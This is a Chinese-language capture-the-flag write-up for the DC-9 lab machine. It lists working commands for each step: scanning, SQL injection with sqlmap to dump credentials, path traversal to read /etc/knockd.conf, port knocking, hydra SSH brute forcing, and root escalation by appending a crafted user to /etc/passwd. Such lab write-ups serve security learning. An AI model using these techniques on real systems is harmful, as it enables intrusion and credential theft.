DC-9靶机通关笔记

一、主机发现

复制代码
arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

复制代码
nmap --min-rate 10000 -p- 192.168.55.159

发现只开放了80端口,看来要在网页中进行信息收集了

很奇怪的是22端口没有开放

UDP端口扫描

复制代码
nmap -sU --min-rate 10000 -p- 192.168.55.159

靶机没有开放UDP端口

2.2目录枚举

复制代码
dirb http://192.168.55.159

扫出来了很多目录,访问后没啥信息

2.3漏洞扫描

复制代码
nmap --script=vuln -p22,80 192.168.55.159

无明显漏洞

2.4指纹识别

复制代码
nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网站寻找信息,找到低权限账号

访问靶机网页寻找信息

3.1SQL注入

靶机的第二个页面是成员信息,说明有数据库,第三和第四个页面中均含有输入框,尝试sql注入

经过尝试,在第三个页面中的搜索框中存在sql注入

复制代码
1' or 1=1 #

抓包发现注入的参数是search

这边使用sqlmap进行注入了

爆数据库名:

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' --dbs

先看users里面的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users --tables

找到了一张表,下面就是爆破字段名

复制代码
 sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails --columns

下面就是爆破数据

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump

有了账号密码,我们可以去第四个页面进行登陆了

经过尝试,这些都进不去,试试其它的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

发现这张表中是admin账号,试试md5解密

密码为:transorbital1

3.2端口敲门

成功登陆后发现多了两个功能点

发现在"Mangage"页面中有提示性信息

尝试一下文件包含

真的存在文件包含

由于22端口是关闭状态,我们需要端口敲门使其开放

通过文件包含可以寻找端口敲门的信息

复制代码
http://192.168.55.159/manage.php?file=../../../../../../etc/knockd.conf

找到了端口敲门的顺序:7469,8475,9842

端口敲门:

复制代码
knock -v 192.168.55.159 7469 8475 9842
nmap -p- 192.168.55.159

22端口成功打开

3.3使用hydra爆破ssh账号密码

将sqlmap爆出来的账号密码作为字典,使用hydra进行ssh服务爆破

首先将内容使用cut命令分割开

复制代码
cat 1.txt | cut -d "|" -f 2 > 2.txt
cat 1.txt | cut -d "|" -f 3 > 3.txt

接着使用hydra进行爆破

复制代码
hydra -L 2.txt -P 3.txt ssh://192.168.55.159

成功找到三个账号密码

四、提权

进入账号中,在janitor账号中找到了隐藏信息

找到了新的密码,继续使用刚刚的user进行爆破

成功爆破出了一个新的账号

登陆该账号

4.1靶机信息收集

4.2sudo提权

随后使用sudo命令查找有无高权限的文件

复制代码
sudo -l

找到了一个test文件

执行一下test文件,提示我们要去 test.py 文件看使用方法

这个程序需要我们提供两个参数,第一个参数是追加的内容,第二个参数是追加的文件

这里提权的方法就很多了,我这里采用的是新建一个root权限的用户,将用户信息追加到/etc/passwd中,然后切换该用户即可

复制代码
openssl passwd -1 -salt 123456 123456
cd /tmp  # 不在tmp目录下echo输出的不对
echo 'pp:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0::/root:/bin/bash' > pp
sudo /opt/devstuff/dist/test/test pp /etc/passwd

密码输入123456即可成功提权!

相关推荐
m0_6786933311 分钟前
深度学习笔记25-RNN心脏病预测(Pytorch)
笔记·rnn·深度学习
XMAIPC_Robot12 分钟前
基于 ZYNQ UltraScale+ OV5640的高速图像传输系统设计,支持国产替代
linux·数码相机·fpga开发·架构·边缘计算
水水沝淼㵘16 分钟前
嵌入式开发学习日志(linux系统编程--系统编程之 进程间通信IPC)Day32
linux·运维·学习
IT小饕餮23 分钟前
linux登陆硬件检测脚本
linux·运维·服务器
我的golang之路果然有问题25 分钟前
快速了解GO+ElasticSearch
开发语言·经验分享·笔记·后端·elasticsearch·golang
Dxy123931021636 分钟前
DrissionPage 性能优化实战指南:让网页自动化效率飞升
运维·爬虫·python·性能优化·自动化
凤年徐43 分钟前
【数据结构初阶】顺序表的应用
c语言·开发语言·数据结构·c++·笔记·算法·顺序表
love530love1 小时前
Windows 下部署 SUNA 项目:虚拟环境尝试与最终方案
前端·人工智能·windows·后端·docker·rust·开源
碎梦归途2 小时前
Linux 软件安装方式全解(适用于 CentOS/RHEL 系统)
linux·运维·centos
啃火龙果的兔子2 小时前
CentOS 7.9 安装 宝塔面板
linux·运维·centos